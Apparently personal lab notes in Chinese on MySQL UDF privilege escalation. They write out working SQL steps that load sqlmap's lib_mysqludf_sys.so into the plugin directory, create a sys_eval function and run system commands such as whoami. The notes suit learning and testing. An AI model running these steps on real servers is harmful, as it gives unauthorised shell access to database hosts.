https://www.jianshu.com/p/5b34c1b6dee7
https://www.cnblogs.com/zlg666/p/11953329.html
UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。 通过udf创建能够执行系统命令的函数sys_exec、sys_eval,使得入侵者能够获得一般情况下无法获得的shell执行权限。
使用udf:
1.把含义自定义函数(如执行系统命令函数“sys_eval”)的dll(windows)文件放入特定文件夹下。
2.声明引入这个dll文件中的自定义函数。
3.使用自定义的函数。
ubuntu
https://blog.csdn.net/qq_33020901/article/details/78827375
https://www.xp.cn/b.php/58475.html
show variables like "%plugin%";
mysql> show variables like "%plugin%";
+-------------------------------+------------------------+
| Variable_name | Value |
+-------------------------------+------------------------+
| default_authentication_plugin | mysql_native_password |
| plugin_dir | /usr/lib/mysql/plugin/ |
+-------------------------------+------------------------+
2 rows in set (0.04 sec)
/home/cyx/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
select hex(load_file('/home/cyx/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_')) into outfile '/tmp/udf.txt';
由于这一步的原理就是将那个lib_mysqludf_sys.so重命名写入/usr/lib/mysql/plugin路径下
。。。改不来写入权限了,就先写到默认路径再复制过去。。。
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into dumpfile '/var/lib/mysql-files/mysqludf.so';
nm -D /usr/lib/mysql/plugin/mysqludf.so
create function sys_eval returns string soname "mysqludf.so";
select sys_eval('whoami');